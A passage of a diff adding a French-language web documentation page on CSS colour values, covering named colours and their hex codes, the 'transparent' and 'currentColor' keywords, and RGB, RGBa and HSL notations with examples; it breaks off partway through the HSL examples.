+   <td style="background: darkslateblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #2f4f4f;"></td>
+   <td style="text-align: center;"><code>darkslategray</code></td>
+   <td><code>#2f4f4f</code></td>
+   <td style="background: darkslategray;"></td>
+  </tr>
+  <tr>
+   <td style="background: #2f4f4f;"></td>
+   <td style="text-align: center;"><code>darkslategrey</code></td>
+   <td><code>#2f4f4f</code></td>
+   <td style="background: darkslategrey;"></td>
+  </tr>
+  <tr>
+   <td style="background: #00ced1;"></td>
+   <td style="text-align: center;"><code>darkturquoise</code></td>
+   <td><code>#00ced1</code></td>
+   <td style="background: darkturquoise;"></td>
+  </tr>
+  <tr>
+   <td style="background: #9400d3;"></td>
+   <td style="text-align: center;"><code>darkviolet</code></td>
+   <td><code>#9400d3</code></td>
+   <td style="background: darkviolet;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ff1493;"></td>
+   <td style="text-align: center;"><code>deeppink</code></td>
+   <td><code>#ff1493</code></td>
+   <td style="background: deeppink;"></td>
+  </tr>
+  <tr>
+   <td style="background: #00bfff;"></td>
+   <td style="text-align: center;"><code>deepskyblue</code></td>
+   <td><code>#00bfff</code></td>
+   <td style="background: deepskyblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #696969;"></td>
+   <td style="text-align: center;"><code>dimgray</code></td>
+   <td><code>#696969</code></td>
+   <td style="background: dimgray;"></td>
+  </tr>
+  <tr>
+   <td style="background: #696969;"></td>
+   <td style="text-align: center;"><code>dimgrey</code></td>
+   <td><code>#696969</code></td>
+   <td style="background: dimgrey;"></td>
+  </tr>
+  <tr>
+   <td style="background: #1e90ff;"></td>
+   <td style="text-align: center;"><code>dodgerblue</code></td>
+   <td><code>#1e90ff</code></td>
+   <td style="background: dodgerblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #b22222;"></td>
+   <td style="text-align: center;"><code>firebrick</code></td>
+   <td><code>#b22222</code></td>
+   <td style="background: firebrick;"></td>
+  </tr>
+  <tr>
+   <td style="background: #fffaf0;"></td>
+   <td style="text-align: center;"><code>floralwhite</code></td>
+   <td><code>#fffaf0</code></td>
+   <td style="background: floralwhite;"></td>
+  </tr>
+  <tr>
+   <td style="background: #228b22;"></td>
+   <td style="text-align: center;"><code>forestgreen</code></td>
+   <td><code>#228b22</code></td>
+   <td style="background: forestgreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #dcdcdc;"></td>
+   <td style="text-align: center;"><code>gainsboro</code></td>
+   <td><code>#dcdcdc</code></td>
+   <td style="background: gainsboro;"></td>
+  </tr>
+  <tr>
+   <td style="background: #f8f8ff;"></td>
+   <td style="text-align: center;"><code>ghostwhite</code></td>
+   <td><code>#f8f8ff</code></td>
+   <td style="background: ghostwhite;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffd700;"></td>
+   <td style="text-align: center;"><code>gold</code></td>
+   <td><code>#ffd700</code></td>
+   <td style="background: gold;"></td>
+  </tr>
+  <tr>
+   <td style="background: #daa520;"></td>
+   <td style="text-align: center;"><code>goldenrod</code></td>
+   <td><code>#daa520</code></td>
+   <td style="background: goldenrod;"></td>
+  </tr>
+  <tr>
+   <td style="background: #adff2f;"></td>
+   <td style="text-align: center;"><code>greenyellow</code></td>
+   <td><code>#adff2f</code></td>
+   <td style="background: greenyellow ;"></td>
+  </tr>
+  <tr>
+   <td style="background: #808080;"></td>
+   <td style="text-align: center;"><code>grey</code></td>
+   <td><code>#808080</code></td>
+   <td style="background: grey;"></td>
+  </tr>
+  <tr>
+   <td style="background: #f0fff0;"></td>
+   <td style="text-align: center;"><code>honeydew</code></td>
+   <td><code>#f0fff0</code></td>
+   <td style="background: honeydew;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ff69b4;"></td>
+   <td style="text-align: center;"><code>hotpink</code></td>
+   <td><code>#ff69b4</code></td>
+   <td style="background: hotpink;"></td>
+  </tr>
+  <tr>
+   <td style="background: #cd5c5c;"></td>
+   <td style="text-align: center;"><code>indianred</code></td>
+   <td><code>#cd5c5c</code></td>
+   <td style="background: indianred;"></td>
+  </tr>
+  <tr>
+   <td style="background: #4b0082;"></td>
+   <td style="text-align: center;"><code>indigo</code></td>
+   <td><code>#4b0082</code></td>
+   <td style="background: indigo;"></td>
+  </tr>
+  <tr>
+   <td style="background: #fffff0;"></td>
+   <td style="text-align: center;"><code>ivory</code></td>
+   <td><code>#fffff0</code></td>
+   <td style="background: ivory;"></td>
+  </tr>
+  <tr>
+   <td style="background: #f0e68c;"></td>
+   <td style="text-align: center;"><code>khaki</code></td>
+   <td><code>#f0e68c</code></td>
+   <td style="background: khaki;"></td>
+  </tr>
+  <tr>
+   <td style="background: #e6e6fa;"></td>
+   <td style="text-align: center;"><code>lavender</code></td>
+   <td><code>#e6e6fa</code></td>
+   <td style="background: lavender;"></td>
+  </tr>
+  <tr>
+   <td style="background: #fff0f5;"></td>
+   <td style="text-align: center;"><code>lavenderblush</code></td>
+   <td><code>#fff0f5</code></td>
+   <td style="background: lavenderblush ;"></td>
+  </tr>
+  <tr>
+   <td style="background: #7cfc00;"></td>
+   <td style="text-align: center;"><code>lawngreen</code></td>
+   <td><code>#7cfc00</code></td>
+   <td style="background: lawngreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #fffacd;"></td>
+   <td style="text-align: center;"><code>lemonchiffon</code></td>
+   <td><code>#fffacd</code></td>
+   <td style="background: lemonchiffon;"></td>
+  </tr>
+  <tr>
+   <td style="background: #add8e6;"></td>
+   <td style="text-align: center;"><code>lightblue</code></td>
+   <td><code>#add8e6</code></td>
+   <td style="background: lightblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #f08080;"></td>
+   <td style="text-align: center;"><code>lightcoral</code></td>
+   <td><code>#f08080</code></td>
+   <td style="background: lightcoral;"></td>
+  </tr>
+  <tr>
+   <td style="background: #e0ffff;"></td>
+   <td style="text-align: center;"><code>lightcyan</code></td>
+   <td><code>#e0ffff</code></td>
+   <td style="background: lightcyan;"></td>
+  </tr>
+  <tr>
+   <td style="background: #fafad2;"></td>
+   <td style="text-align: center;"><code>lightgoldenrodyellow</code></td>
+   <td><code>#fafad2</code></td>
+   <td style="background: lightgoldenrodyellow ;"></td>
+  </tr>
+  <tr>
+   <td style="background: #d3d3d3;"></td>
+   <td style="text-align: center;"><code>lightgray</code></td>
+   <td><code>#d3d3d3</code></td>
+   <td style="background: lightgray;"></td>
+  </tr>
+  <tr>
+   <td style="background: #90ee90;"></td>
+   <td style="text-align: center;"><code>lightgreen</code></td>
+   <td><code>#90ee90</code></td>
+   <td style="background: lightgreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #d3d3d3;"></td>
+   <td style="text-align: center;"><code>lightgrey</code></td>
+   <td><code>#d3d3d3</code></td>
+   <td style="background: lightgrey;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffb6c1;"></td>
+   <td style="text-align: center;"><code>lightpink</code></td>
+   <td><code>#ffb6c1</code></td>
+   <td style="background: lightpink;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffa07a;"></td>
+   <td style="text-align: center;"><code>lightsalmon</code></td>
+   <td><code>#ffa07a</code></td>
+   <td style="background: lightsalmon;"></td>
+  </tr>
+  <tr>
+   <td style="background: #20b2aa;"></td>
+   <td style="text-align: center;"><code>lightseagreen</code></td>
+   <td><code>#20b2aa</code></td>
+   <td style="background: lightseagreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #87cefa;"></td>
+   <td style="text-align: center;"><code>lightskyblue</code></td>
+   <td><code>#87cefa</code></td>
+   <td style="background: lightskyblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #778899;"></td>
+   <td style="text-align: center;"><code>lightslategray</code></td>
+   <td><code>#778899</code></td>
+   <td style="background: lightslategray;"></td>
+  </tr>
+  <tr>
+   <td style="background: #778899;"></td>
+   <td style="text-align: center;"><code>lightslategrey</code></td>
+   <td><code>#778899</code></td>
+   <td style="background: lightslategrey;"></td>
+  </tr>
+  <tr>
+   <td style="background: #b0c4de;"></td>
+   <td style="text-align: center;"><code>lightsteelblue</code></td>
+   <td><code>#b0c4de</code></td>
+   <td style="background: lightsteelblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffffe0;"></td>
+   <td style="text-align: center;"><code>lightyellow</code></td>
+   <td><code>#ffffe0</code></td>
+   <td style="background: lightyellow;"></td>
+  </tr>
+  <tr>
+   <td style="background: #32cd32;"></td>
+   <td style="text-align: center;"><code>limegreen</code></td>
+   <td><code>#32cd32</code></td>
+   <td style="background: limegreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #faf0e6;"></td>
+   <td style="text-align: center;"><code>linen</code></td>
+   <td><code>#faf0e6</code></td>
+   <td style="background: linen;"></td>
+  </tr>
+  <tr>
+   <td style="background: rgb(255, 0, 255) none repeat scroll 0% 0%;"></td>
+   <td style="text-align: center;"><code>magenta</code> (synonyme de <code>fuchsia</code>)</td>
+   <td><code>#ff00ff</code></td>
+   <td style="background: magenta none repeat scroll 0% 0%;"></td>
+  </tr>
+  <tr>
+   <td style="background: #66cdaa;"></td>
+   <td style="text-align: center;"><code>mediumaquamarine</code></td>
+   <td><code>#66cdaa</code></td>
+   <td style="background: mediumaquamarine;"></td>
+  </tr>
+  <tr>
+   <td style="background: #0000cd;"></td>
+   <td style="text-align: center;"><code>mediumblue</code></td>
+   <td><code>#0000cd</code></td>
+   <td style="background: mediumblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ba55d3;"></td>
+   <td style="text-align: center;"><code>mediumorchid</code></td>
+   <td><code>#ba55d3</code></td>
+   <td style="background: mediumorchid;"></td>
+  </tr>
+  <tr>
+   <td style="background: #9370db;"></td>
+   <td style="text-align: center;"><code>mediumpurple</code></td>
+   <td><code>#9370db</code></td>
+   <td style="background: mediumpurple;"></td>
+  </tr>
+  <tr>
+   <td style="background: #3cb371;"></td>
+   <td style="text-align: center;"><code>mediumseagreen</code></td>
+   <td><code>#3cb371</code></td>
+   <td style="background: mediumseagreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #7b68ee;"></td>
+   <td style="text-align: center;"><code>mediumslateblue</code></td>
+   <td><code>#7b68ee</code></td>
+   <td style="background: mediumslateblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #00fa9a;"></td>
+   <td style="text-align: center;"><code>mediumspringgreen</code></td>
+   <td><code>#00fa9a</code></td>
+   <td style="background: mediumspringgreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #48d1cc;"></td>
+   <td style="text-align: center;"><code>mediumturquoise</code></td>
+   <td><code>#48d1cc</code></td>
+   <td style="background: mediumturquoise;"></td>
+  </tr>
+  <tr>
+   <td style="background: #c71585;"></td>
+   <td style="text-align: center;"><code>mediumvioletred</code></td>
+   <td><code>#c71585</code></td>
+   <td style="background: mediumvioletred;"></td>
+  </tr>
+  <tr>
+   <td style="background: #191970;"></td>
+   <td style="text-align: center;"><code>midnightblue</code></td>
+   <td><code>#191970</code></td>
+   <td style="background: midnightblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #f5fffa;"></td>
+   <td style="text-align: center;"><code>mintcream</code></td>
+   <td><code>#f5fffa</code></td>
+   <td style="background: mintcream;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffe4e1;"></td>
+   <td style="text-align: center;"><code>mistyrose</code></td>
+   <td><code>#ffe4e1</code></td>
+   <td style="background: mistyrose;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffe4b5;"></td>
+   <td style="text-align: center;"><code>moccasin</code></td>
+   <td><code>#ffe4b5</code></td>
+   <td style="background: moccasin;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffdead;"></td>
+   <td style="text-align: center;"><code>navajowhite</code></td>
+   <td><code>#ffdead</code></td>
+   <td style="background: navajowhite;"></td>
+  </tr>
+  <tr>
+   <td style="background: #fdf5e6;"></td>
+   <td style="text-align: center;"><code>oldlace</code></td>
+   <td><code>#fdf5e6</code></td>
+   <td style="background: oldlace;"></td>
+  </tr>
+  <tr>
+   <td style="background: #6b8e23;"></td>
+   <td style="text-align: center;"><code>olivedrab</code></td>
+   <td><code>#6b8e23</code></td>
+   <td style="background: olivedrab;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ff4500;"></td>
+   <td style="text-align: center;"><code>orangered</code></td>
+   <td><code>#ff4500</code></td>
+   <td style="background: orangered;"></td>
+  </tr>
+  <tr>
+   <td style="background: #da70d6;"></td>
+   <td style="text-align: center;"><code>orchid</code></td>
+   <td><code>#da70d6</code></td>
+   <td style="background: orchid;"></td>
+  </tr>
+  <tr>
+   <td style="background: #eee8aa;"></td>
+   <td style="text-align: center;"><code>palegoldenrod</code></td>
+   <td><code>#eee8aa</code></td>
+   <td style="background: palegoldenrod;"></td>
+  </tr>
+  <tr>
+   <td style="background: #98fb98;"></td>
+   <td style="text-align: center;"><code>palegreen</code></td>
+   <td><code>#98fb98</code></td>
+   <td style="background: palegreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #afeeee;"></td>
+   <td style="text-align: center;"><code>paleturquoise</code></td>
+   <td><code>#afeeee</code></td>
+   <td style="background: paleturquoise;"></td>
+  </tr>
+  <tr>
+   <td style="background: #db7093;"></td>
+   <td style="text-align: center;"><code>palevioletred</code></td>
+   <td><code>#db7093</code></td>
+   <td style="background: palevioletred;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffefd5;"></td>
+   <td style="text-align: center;"><code>papayawhip</code></td>
+   <td><code>#ffefd5</code></td>
+   <td style="background: papayawhip;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffdab9;"></td>
+   <td style="text-align: center;"><code>peachpuff</code></td>
+   <td><code>#ffdab9</code></td>
+   <td style="background: peachpuff;"></td>
+  </tr>
+  <tr>
+   <td style="background: #cd853f;"></td>
+   <td style="text-align: center;"><code>peru</code></td>
+   <td><code>#cd853f</code></td>
+   <td style="background: peru;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ffc0cb;"></td>
+   <td style="text-align: center;"><code>pink</code></td>
+   <td><code>#ffc0cb</code></td>
+   <td style="background: pink;"></td>
+  </tr>
+  <tr>
+   <td style="background: #dda0dd;"></td>
+   <td style="text-align: center;"><code>plum</code></td>
+   <td><code>#dda0dd</code></td>
+   <td style="background: plum;"></td>
+  </tr>
+  <tr>
+   <td style="background: #b0e0e6;"></td>
+   <td style="text-align: center;"><code>powderblue</code></td>
+   <td><code>#b0e0e6</code></td>
+   <td style="background: powderblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #bc8f8f;"></td>
+   <td style="text-align: center;"><code>rosybrown</code></td>
+   <td><code>#bc8f8f</code></td>
+   <td style="background: rosybrown;"></td>
+  </tr>
+  <tr>
+   <td style="background: #4169e1;"></td>
+   <td style="text-align: center;"><code>royalblue</code></td>
+   <td><code>#4169e1</code></td>
+   <td style="background: royalblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #8b4513;"></td>
+   <td style="text-align: center;"><code>saddlebrown</code></td>
+   <td><code>#8b4513</code></td>
+   <td style="background: saddlebrown;"></td>
+  </tr>
+  <tr>
+   <td style="background: #fa8072;"></td>
+   <td style="text-align: center;"><code>salmon</code></td>
+   <td><code>#fa8072</code></td>
+   <td style="background: salmon;"></td>
+  </tr>
+  <tr>
+   <td style="background: #f4a460;"></td>
+   <td style="text-align: center;"><code>sandybrown</code></td>
+   <td><code>#f4a460</code></td>
+   <td style="background: sandybrown;"></td>
+  </tr>
+  <tr>
+   <td style="background: #2e8b57;"></td>
+   <td style="text-align: center;"><code>seagreen</code></td>
+   <td><code>#2e8b57</code></td>
+   <td style="background: seagreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #fff5ee;"></td>
+   <td style="text-align: center;"><code>seashell</code></td>
+   <td><code>#fff5ee</code></td>
+   <td style="background: seashell;"></td>
+  </tr>
+  <tr>
+   <td style="background: #a0522d;"></td>
+   <td style="text-align: center;"><code>sienna</code></td>
+   <td><code>#a0522d</code></td>
+   <td style="background: sienna;"></td>
+  </tr>
+  <tr>
+   <td style="background: #87ceeb;"></td>
+   <td style="text-align: center;"><code>skyblue</code></td>
+   <td><code>#87ceeb</code></td>
+   <td style="background: skyblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #6a5acd;"></td>
+   <td style="text-align: center;"><code>slateblue</code></td>
+   <td><code>#6a5acd</code></td>
+   <td style="background: slateblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #708090;"></td>
+   <td style="text-align: center;"><code>slategray</code></td>
+   <td><code>#708090</code></td>
+   <td style="background: slategray;"></td>
+  </tr>
+  <tr>
+   <td style="background: #708090;"></td>
+   <td style="text-align: center;"><code>slategrey</code></td>
+   <td><code>#708090</code></td>
+   <td style="background: slategrey;"></td>
+  </tr>
+  <tr>
+   <td style="background: #fffafa;"></td>
+   <td style="text-align: center;"><code>snow</code></td>
+   <td><code>#fffafa</code></td>
+   <td style="background: snow;"></td>
+  </tr>
+  <tr>
+   <td style="background: #00ff7f;"></td>
+   <td style="text-align: center;"><code>springgreen</code></td>
+   <td><code>#00ff7f</code></td>
+   <td style="background: springgreen;"></td>
+  </tr>
+  <tr>
+   <td style="background: #4682b4;"></td>
+   <td style="text-align: center;"><code>steelblue</code></td>
+   <td><code>#4682b4</code></td>
+   <td style="background: steelblue;"></td>
+  </tr>
+  <tr>
+   <td style="background: #d2b48c;"></td>
+   <td style="text-align: center;"><code>tan</code></td>
+   <td><code>#d2b48c</code></td>
+   <td style="background: tan;"></td>
+  </tr>
+  <tr>
+   <td style="background: #d8bfd8;"></td>
+   <td style="text-align: center;"><code>thistle</code></td>
+   <td><code>#d8bfd8</code></td>
+   <td style="background: thistle;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ff6347;"></td>
+   <td style="text-align: center;"><code>tomato</code></td>
+   <td><code>#ff6347</code></td>
+   <td style="background: tomato;"></td>
+  </tr>
+  <tr>
+   <td style="background: #40e0d0;"></td>
+   <td style="text-align: center;"><code>turquoise</code></td>
+   <td><code>#40e0d0</code></td>
+   <td style="background: turquoise;"></td>
+  </tr>
+  <tr>
+   <td style="background: #ee82ee;"></td>
+   <td style="text-align: center;"><code>violet</code></td>
+   <td><code>#ee82ee</code></td>
+   <td style="background: violet;"></td>
+  </tr>
+  <tr>
+   <td style="background: #f5deb3;"></td>
+   <td style="text-align: center;"><code>wheat</code></td>
+   <td><code>#f5deb3</code></td>
+   <td style="background: wheat;"></td>
+  </tr>
+  <tr>
+   <td style="background: #f5f5f5;"></td>
+   <td style="text-align: center;"><code>whitesmoke</code></td>
+   <td><code>#f5f5f5</code></td>
+   <td style="background: whitesmoke;"></td>
+  </tr>
+  <tr>
+   <td style="background: #9acd32;"></td>
+   <td style="text-align: center;"><code>yellowgreen</code></td>
+   <td><code>#9acd32</code></td>
+   <td style="background: yellowgreen;"></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS4 Colors")}}</td>
+   <td style="background: #639;"></td>
+   <td style="text-align: center;"><code>rebeccapurple</code></td>
+   <td><code>#663399</code></td>
+   <td style="background: rebeccapurple;"></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La couleur <code>rebeccapurple</code> est équivalente à la couleur <code>#639</code>. Pour mieux comprendre pourquoi elle a été ajoutée, vous pouvez lire ce billet Codepen par Trezy « <a href="https://codepen.io/trezy/blog/honoring-a-great-man">Honorer un grand homme</a> » (en anglais).</p>
+
+<h3 id="Le_mot-clé_transparent">Le mot-clé <code>transparent</code></h3>
+
+<p><code>transparent</code> est un mot-clé qui représente une couleur totalement transparente (autrement dit, la couleur qui sera vue sera la couleur située en arrière-plan). D'un point de vue technique, il s'agit d'un noir pur avec un canal alpha minimal : <code>rgba(0,0,0,0)</code>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Attention lorsqu'on utilise ce mot-clé pour un dégradé (cf.{{cssxref("gradient")}}, <a href="https://www.w3.org/TR/2012/CR-css3-images-20120417/#color-stop-syntax">la spécification W3C indique que <code>transparent</code> devrait être calculé dans l'espace de couleurs avec pré-multiplication des alpha</a>. Cependant, les anciens navigateurs peuvent traiter ce noir avec une valeur <code>alpha</code> de 0.</p>
+</div>
+
+<div class="note"><strong>Note historique :</strong> Le mot-clé <code>transparent</code> n'était pas une valeur de type <code>&lt;color&gt;</code> pour la spécification CSS de niveau 2 (première révision). C'était un mot-clé qui pouvait être utilisé comme valeur pour les propriétés {{cssxref("background")}} et {{cssxref("border")}}. Il a été ajouté afin de pouvoir surcharger l'héritage de couleurs opaques. Avec l'ajout de la gestion de l'opacité via <a href="https://fr.wikipedia.org/wiki/Alpha_blending">les canaux alpha</a>, <code>transparent</code> a été redéfini comme une couleur avec la spécification CSS de niveau 3 sur les couleurs, ce qui permet de l'utiliser à n'importe quel endroit où une valeur <code>&lt;color&gt;</code> est nécessaire (la propriété {{cssxref("color")}} par exemple).</div>
+
+<h3 id="Le_mot-clé_currentColor">Le mot-clé <code>currentColor</code></h3>
+
+<p>Le mot-clé <code>currentColor</code> représente <a href="/fr/docs/Web/CSS/Valeur_calcul%C3%A9e">la valeur calculée</a> de la propriété {{cssxref("color")}} pour l'élément. Il permet aux propriétés de couleur d'hériter de la valeur de l'élément parent même si, par défaut, celles-ci n'utilisent pas l'héritage.</p>
+
+<p>Il peut également être utilisé sur des propriétés qui héritent de la valeur calculée de la propriété {{cssxref("color")}} de l'élément. Cela sera alors équivalent au mot-clé {{cssxref("inherit")}}.</p>
+
+<p>Si <code>currentColor</code> est utilisée comme valeur pour la propriété <code>color</code>, sa valeur est déterminée à partir de la valeur héritée pour la propriété <code>color</code>.</p>
+
+<h4 id="Exemples">Exemples</h4>
+
+<p>La couleur de la ligne prend la couleur héritée depuis son élément parent.</p>
+
+<div>
+<h5 id="Exemple_live_n°1">Exemple <em>live</em> n°1</h5>
+
+<pre class="brush: html">&lt;div style="color:darkred"&gt;
+ La couleur de ce texte est bleu.
+  &lt;div style="background:currentColor; height:1px"&gt;&lt;/div&gt;
+ Un peu de texte.
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Exemple_live_n°1')}}</p>
+
+<h5 id="Exemple_live_n°2">Exemple <em>live</em> n°2</h5>
+
+<pre class="brush: html">&lt;div style="color:blue; border-bottom: 1px dashed currentColor;"&gt;
+ La couleur de ce texte est bleu :
+  &lt;div style="background:currentColor; height:1px"&gt;&lt;/div&gt;
+ Un peu de texte.
+&lt;/div&gt; </pre>
+
+<p>{{EmbedLiveSample('Exemple_live_n°2')}}</p>
+</div>
+
+<h3 id="Les_couleurs_RGB"><a id="rgb" name="rgb">Les couleurs RGB</a></h3>
+
+<p>Les couleurs peuvent être définies selon le modèles rouge-vert-bleu-alpha (RGB avec une composante alpha, optionnelle, pour gérer la transparence.</p>
+
+<h4 id="Syntaxe_2">Syntaxe</h4>
+
+<p>Les couleurs RGB peuvent être exprimées avec une notation hexadécimale (préfixée avec <code>#</code>) ou avec des notations fonctionnelles (<code>rgb()</code> ou <code>rgba()</code>).</p>
+
+<div class="note">
+<p><strong>Note :</strong> Dans la spécification du module CSS Color de niveau 4, <code>rgba()</code> a été définie comme une fonction historique dont la grammaire et le comportement est le même que <code>rgb()</code>. C'est donc un synonyme. À partir de cette spécification, les deux peuvent accepter les mêmes paramètres.</p>
+</div>
+
+<dl>
+ <dt>Notation hexadécimale : <code>#RRGGBB[AA]</code></dt>
+ <dd>Le signe « <code>#</code> » suivi par huit caractères hexadécimaux (0-9, A-F), les deux premiers déterminent la composante rouge, les deux suivants la composante verte puis la composante bleue et enfin les deux derniers, optionnels, déterminent la composante alpha.</dd>
+ <dt>Notation hexadécimale : <code>#RGB[A]</code></dt>
+ <dd>le signe « <code>#</code> » suivi par quatre caractères hexadécimaux (0-9, A-F), le premier chiffre représente la composante rouge, le deuxième la composante verte, le troisième la composante bleue et le quatrième, optionnel, la composante alpha.</dd>
+ <dt>Notation fonctionnelle avec des virgules : <code>rgb(R, G, B[, A])</code> ou <code>rgba(R, G, B, A)</code></dt>
+ <dd>Cette fonction permet d'ajouter une composante d'opacité (par rapport à la fonction <code>rgb()</code>). Le quatrième argument définira la force de l'opacité : 1 pour une opacité complète et 0 pour une transparence totale. Les arguments peuvent être des nombres ({{cssxref("&lt;number&gt;")}}) ou des pourcentages ({{cssxref("&lt;percentage&gt;")}}) (ex. <code>rgb(1e2, .5e1, .5e0, +.25e2%)</code>).</dd>
+ <dt>Notation fonctionnelle : <code>rgb(R G B[ / A])</code> ou <code>rgba(R G B / A)</code></dt>
+ <dd>Cette forme fonctionne de façon analogue à la forme précédente depuis le module de spécification <em>CSS Colors Level 4</em>.</dd>
+</dl>
+
+<h4 id="Exemples_2">Exemples</h4>
+
+<h5 id="Les_différentes_variantes_pour_la_syntaxe_RGB">Les différentes variantes pour la syntaxe RGB</h5>
+
+<pre class="plain">/* Ces exemples définissent tous la même couleur */
+#f03
+#F03
+#ff0033
+#FF0033
+rgb(255,0,51)
+rgb(255, 0, 51)
+rgb(255, 0, 51.0)
+rgb(100%,0%,20%)
+rgb(100%, 0%, 20%)
+<s>rgb(100%, 0, 20%)</s> /* Erreur : on ne peut pas mélanger les nombres et les pourcentages */
+</pre>
+
+<h5 id="RGBa">RGBa</h5>
+
+<pre class="brush: css">/* Notation hexadécimale */
+#f030               /*   0% opacité - rouge */
+#F03F               /* 100% opacité - rouge */
+#ff003300           /*   0% opacité - rouge */
+#FF003388           /*  50% opacité - rouge */
+
+/* Notation fonctionnelle */
+rgba(255,0,0,0.1)   /*  10% opacité - rouge */
+rgba(255,0,0,0.4)   /*  40% opacité - rouge */
+rgba(255,0,0,0.7)   /*  70% opacité - rouge */
+rgba(255,0,0,  1)   /* 100% opacité - rouge */
+
+/* Notation fonctionnelle avec des nombres décimaux */
+rgba(255, 0, 153.6, 1)
+rgba(1e2, .5e1, .5e0, +.25e2%)
+
+/* Notation avec un espace */
+rgba(255 0 0 / 0.4) /* 40% opacité - rouge */
+rgba(255 0 0 / 40%) /* 40% opacité - rouge */</pre>
+
+<h3 id="Les_couleurs_HSL"><a id="hsl" name="hsl">Les couleurs HSL</a></h3>
+
+<p>Les couleurs peuvent également être définies selon le modèle HSL (pour <em>Hue-Saturation-Lightness</em> qui signifie teinte-saturation-clarté).</p>
+
+<p>HSL est considéré comme plus intuitif que RGB car on peut ajuster les couleurs au fur et à mesure ou créer des palettes de couleurs plus simplement (par exemple en conservant la même teinte et en faisant varier la saturation et/ou la clarté).</p>
+
+<h4 id="Syntaxe_3">Syntaxe</h4>
+
+<p>Pour HSL, les couleurs peuvent être exprimées via les notations fonctionnelles <code>hsl()</code> ou <code>hsla()</code>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Dans la spécification du module CSS Color de niveau 4, <code>hsla()</code> a été définie comme une fonction historique dont la grammaire et le comportement est le même que <code>hsl()</code>. C'est donc un synonyme. À partir de cette spécification, les deux peuvent accepter les mêmes paramètres.</p>
+</div>
+
+<dl>
+ <dt>Notation fonctionnelle : <code>hsl(H, S, L,[, A])</code> ou <code>hsla(H, S, L, A)</code></dt>
+ <dd>
+ <p><strong>La valeur H correspond à la teinte (<em>hue</em>) </strong>et est représentée comme un angle {{cssxref("&lt;angle&gt;")}} sur le cercle des couleurs. Lorsque la valeur est écrite sans unité, elle est considérée comme une valeur exprimée en degré. Par définition, <strong>le rouge correspond à 0 et 360</strong> et les autres couleurs évoluent sur le cercle. <strong>Vert correspond à 120 et bleu à 240</strong>. La valeur se comporte comme un angle et « tournera en boucle » avec une même mesure de couleur qui peut avoir différentes valeurs (par exemple -120 sera équivalent à 240 et 480 sera équivalent à 120).</p>
+
+ <p><strong>La valeur S correspond à la saturation</strong> (<em>saturation</em>) et <strong>la valeur L correspond à la clarté (<em>lightness</em>)</strong>, ces deux valeurs sont représentées par des pourcentages. Pour la saturation, avec <code>100%</code> l'image sera complètement saturée et avec <code>0%</code>, l'image sera en nuances de gris. Pour la clarté, <code>100%</code> correspondra à du blanc et <code>0%</code> à du noir. <code>50%</code> agira comme une clarté « normale ».</p>
+
+ <p><strong>La valeur A</strong> (canal alpha) peut être un nombre (type {{cssxref("&lt;number&gt;")}} entre 0 et 1 ou un pourcentage (type {{cssxref("&lt;percentage&gt;")}} (la valeur <code>100%</code> correspond alors à la valeur numérique 1 : opacité complète).</p>
+ </dd>
+ <dt>Notation fonctionnelle : <code>hsl(H S L[ / A])</code> ou <code>hsla(H S L / A)</code></dt>
+ <dd>
+ <p>Le module CSS Colors Level 4 ajoute la prise en charge de la notation fonctionnelle avec les espaces comme séparateur.</p>
+ </dd>
+</dl>
+
+<h4 id="Exemples_3">Exemples</h4>
+
+<h5 id="HSL">HSL</h5>
+
+<pre class="brush: css" style="text-shadow: rgba(255,255,255,0.4) -1px -1px;">hsl(0,  100%,50%)   /* red */
+hsl(30, 100%,50%)
+hsl(60, 100%,50%)
+hsl(90, 100%,50%)
+hsl(120,100%,50%)   /* green */
+hsl(150,100%,50%)
+hsl(180,100%,50%)
+hsl(210,100%,50%)
+hsl(240,100%,50%)   /* blue */
+hsl(270,100%,50%)
+hsl(300,100%,50%)
+hsl(330,100%,50%)
+hsl(360,100%,50%)   /* red */
+
+hsl(120,100%,25%)   /* dark green */
+hsl(120,100%,50%)   /* green */
+hsl(120,100%,75%)   /* light green */
+
+hsl(120,100%,50%)   /* green */
+hsl(120, 67%,50%)
+hsl(120, 33%,50%)
+hsl(120,  0%,50%)
+
+hsl(120, 60%,70%)   /* pastel green */
+
+/* syntaxe avec les espaces */
+hsl(120 60% 70%) /* pastel green */
+
+/* Valeur d'angle */
+/* on peut également utiliser les unités */
+/* rad, grad, turn */
+hsl(120deg 60% 70%) /* pastel green */
+
+/* Valeur alpha optionnelle */
